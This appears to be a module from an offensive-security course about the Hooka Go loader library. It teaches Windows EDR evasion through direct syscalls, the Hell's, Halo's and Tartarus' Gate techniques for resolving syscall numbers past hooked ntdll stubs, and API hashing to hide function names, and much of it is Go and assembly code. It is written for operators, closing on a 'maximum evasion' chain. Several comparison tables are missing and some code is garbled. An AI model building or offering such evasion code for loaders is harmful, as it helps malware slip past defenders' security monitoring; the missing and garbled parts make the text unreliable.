Module 3: Syscalls & Gate Techniques

If the front door is monitored, go through the wall.

1. Why Syscalls Matter

When your code calls a Windows API function like NtAllocateVirtualMemory, the call normally goes through ntdll.dll — the lowest user-mode layer before entering the kernel. EDR products know this, so they hook ntdll functions by replacing the first few bytes of each function with a JMP instruction that redirects execution to the EDR's inspection code.

The solution: skip ntdll entirely. If your code can construct the correct syscall instruction with the right System Service Number (SSN), you can transition directly to kernel mode without ever touching the hooked ntdll functions. The EDR never sees the call.

2. Windows Syscall Architecture

When a user-mode program needs kernel services (allocating memory, creating threads, opening files), it must transition from Ring 3 (user mode) to Ring 0 (kernel mode). On x64 Windows, this happens through the syscall CPU instruction.

Every NT function in ntdll.dll follows the same stub pattern:

ASM; Standard NT syscall stub (unhooked)
NtAllocateVirtualMemory:
    mov r10, rcx            ; 4C 8B D1  (save 1st arg)
    mov eax, 0x0018         ; B8 18 00 00 00  (SSN in EAX)
    test byte ptr [...]     ; Check for SystemCall flag
    jne  label
    syscall                 ; Transition to kernel
    ret                     ; Return to caller

The critical bytes are:

3. Hooka's Direct Syscall Implementation

Hooka provides two core functions for direct syscall execution:

GetSysId — Runtime SSN Resolution

GetSysId(funcname string) reads the syscall stub of the specified ntdll function at runtime and extracts the SSN from the mov eax instruction:

Go// GetSysId resolves the SSN for an NT function at runtime
func GetSysId(funcname string) (uint16, error) {
    // Get handle to ntdll.dll (already loaded in every process)
    ntdll := GetModuleHandle("ntdll.dll")

    // Get address of the target function
    funcAddr := GetProcAddress(ntdll, funcname)

    // Read the stub bytes
    stub := (*[8]byte)(unsafe.Pointer(funcAddr))

    // Verify the stub starts with: mov r10, rcx (4C 8B D1)
    if stub[0] == 0x4c && stub[1] == 0x8b && stub[2] == 0xd1 {
        // Extract SSN from: mov eax, XX XX (B8 at offset 3)
        if stub[3] == 0xb8 {
            ssn := uint16(stub[4]) | uint16(stub[5])<<8
            return ssn, nil
        }
    }

    return 0, fmt.Errorf("function %s appears to be hooked", funcname)
}

Syscall — Direct Execution

Syscall(callid uint16, args ...uintptr) takes the SSN and arguments, and executes the syscall instruction directly from assembly, completely bypassing ntdll:

Go// Using Hooka's direct syscall
ssn, err := hooka.GetSysId("NtAllocateVirtualMemory")
if err != nil {
    log.Fatal("Function is hooked:", err)
}

// Execute direct syscall with the resolved SSN
status, err := hooka.Syscall(
    ssn,
    currentProcess,    // ProcessHandle
    &baseAddr,         // BaseAddress
    0,                 // ZeroBits
    ®ionSize,       // RegionSize
    MEM_COMMIT|MEM_RESERVE,  // AllocationType
    PAGE_READWRITE,    // Protect
)

4. Hell's Gate

Hell's Gate, created by am0nsec and smelly__vx, was the first published technique for dynamically resolving SSNs at runtime. The core insight: since SSNs are sequential in ntdll's export table, you can determine a function's SSN by its position relative to other NT functions.

Hell's Gate enumerates all exported functions from ntdll.dll, identifies NT syscall stubs by their byte pattern, and sorts them by address. The SSN equals the function's index in this sorted list (SSN 0 for the first, SSN 1 for the second, and so on).

Go// Hell's Gate concept (simplified)
func HellsGate(targetFunc string) (uint16, error) {
    // 1. Parse ntdll exports
    exports := parseNtdllExports()

    // 2. Filter to only Zw* functions (they share stubs with Nt*)
    var syscallFuncs []ExportEntry
    for _, exp := range exports {
        if strings.HasPrefix(exp.Name, "Zw") {
            syscallFuncs = append(syscallFuncs, exp)
        }
    }

    // 3. Sort by address (SSNs are assigned in address order)
    sort.Slice(syscallFuncs, func(i, j int) bool {
        return syscallFuncs[i].Address < syscallFuncs[j].Address
    })

    // 4. Find target - its index IS the SSN
    target := strings.Replace(targetFunc, "Nt", "Zw", 1)
    for i, fn := range syscallFuncs {
        if fn.Name == target {
            return uint16(i), nil
        }
    }
    return 0, fmt.Errorf("function not found")
}

5. Halo's Gate

Halo's Gate extends Hell's Gate with a critical improvement: when a function's stub is hooked, it looks at neighboring functions (which may not be hooked) to calculate the SSN.

The key insight: if the function at index N is hooked but the function at index N+1 (or N-1) is not, you can read the neighbor's SSN and add or subtract 1 to derive the hooked function's SSN.

Go// Halo's Gate: detecting hooks and using neighbors
func HalosGate(funcName string) (uint16, error) {
    funcAddr := GetProcAddress(ntdll, funcName)
    stub := readBytes(funcAddr, 8)

    // Check if function is hooked (starts with JMP = 0xE9)
    if stub[0] == 0xE9 || stub[3] == 0xE9 {
        // Function is hooked! Search neighbors
        for offset := 1; offset < 500; offset++ {
            // Try the function UP (higher address)
            upAddr := funcAddr + uintptr(offset * STUB_SIZE)
            upStub := readBytes(upAddr, 8)
            if isCleanStub(upStub) {
                neighborSSN := extractSSN(upStub)
                return neighborSSN - uint16(offset), nil
            }

            // Try the function DOWN (lower address)
            downAddr := funcAddr - uintptr(offset * STUB_SIZE)
            downStub := readBytes(downAddr, 8)
            if isCleanStub(downStub) {
                neighborSSN := extractSSN(downStub)
                return neighborSSN + uint16(offset), nil
            }
        }
    }

    // Not hooked - read SSN directly
    return extractSSN(stub), nil
}

func isCleanStub(stub []byte) bool {
    // mov r10, rcx (4C 8B D1) + mov eax, SSN (B8 ...)
    return stub[0] == 0x4c && stub[1] == 0x8b &&
           stub[2] == 0xd1 && stub[3] == 0xb8
}

6. Tartarus' Gate

Tartarus' Gate handles a subtler form of hooking. Some EDRs place their JMP hook after the mov r10, rcx instruction rather than at the very start. This means the first 3 bytes look clean, but the mov eax, SSN instruction at offset 3 is replaced.

ASM; Standard clean stub
NtFunction:
    4C 8B D1          ; mov r10, rcx    (clean)
    B8 18 00 00 00    ; mov eax, 0x18   (SSN)
    ...

; Tartarus-style hook (JMP placed after mov r10, rcx)
NtFunction:
    4C 8B D1          ; mov r10, rcx    (looks clean!)
    E9 XX XX XX XX    ; jmp EDR_hook    (hook AFTER first instruction)
    ...

Tartarus' Gate detects this by checking both the function start (offset 0) and the instruction at offset 3. If either location contains a JMP (0xE9), the function is considered hooked and the neighbor-search algorithm activates:

Go// Tartarus' Gate: extended hook detection
func isHooked(stub []byte) bool {
    // Hell's Gate check: JMP at very start
    if stub[0] == 0xE9 {
        return true
    }
    // Tartarus' Gate check: JMP after mov r10, rcx
    if stub[3] == 0xE9 {
        return true
    }
    return false
}

7. Gate Technique Comparison

8. API Hashing

A loader that contains plaintext strings like "NtAllocateVirtualMemory" or "NtCreateThreadEx" in its binary is trivially identified by static analysis. API hashing replaces these strings with their hash values, resolving functions at runtime by hashing each export name and comparing.

How GetFuncPtr Works

Hooka's GetFuncPtr(hash, hashingFunc) walks the export table of a DLL, hashes each function name using the specified algorithm, and returns the address when a match is found:

Go// Resolve function by hash instead of name
func GetFuncPtr(targetHash string, hashFunc func(string)string) uintptr {
    ntdll := GetModuleHandle("ntdll.dll")
    exports := parseExportTable(ntdll)

    for _, export := range exports {
        if hashFunc(export.Name) == targetHash {
            return export.Address
        }
    }
    return 0
}

// Usage: resolve NtAllocateVirtualMemory by its SHA256 hash
addr := GetFuncPtr(
    "a1b2c3d4e5f6...",  // pre-computed hash
    hooka.SHA256Hash,
)

Supported Hashing Algorithms

Combining Hashing with Halo's Gate

GetSysIdHashHalos(hash, hashingFunc) combines API hashing with Halo's Gate resolution. It finds the function by hash (no plaintext name), then applies Halo's Gate to extract the SSN even if the function is hooked:

Go// Maximum evasion: hash-based resolution + Halo's Gate
ssn, err := hooka.GetSysIdHashHalos(
    "a1b2c3...",         // SHA256 of "NtAllocateVirtualMemory"
    hooka.SHA256Hash,    // hashing function
)
// Now use ssn with Syscall() for direct kernel transition

9. Hooked vs Unhooked Stub Comparison

ASMNtAllocateVirtualMemory:
  4C 8B D1        mov r10, rcx
  B8 18 00 00 00  mov eax, 0x18
  0F 05           syscall
  C3              ret

ASMNtAllocateVirtualMemory:
  E9 XX XX XX XX  jmp EDR_Hook
  00 00 00        (overwritten bytes)
  0F 05           syscall
  C3              ret

When GetSysId() reads the first byte and finds 0xE9 instead of 0x4C, it knows the function is hooked. Halo's Gate then searches neighboring stubs (up and down in memory) for a clean one, reads that neighbor's SSN, and calculates the target SSN from the offset between them.

10. Putting It All Together

This chain provides three layers of evasion: (1) no plaintext API names in the binary, (2) hook detection and bypass via Gate techniques, and (3) direct kernel transition that never touches ntdll code. Even if the EDR has hooked every function in ntdll.dll, this chain resolves the correct SSN and makes the syscall without ever executing the hooked code.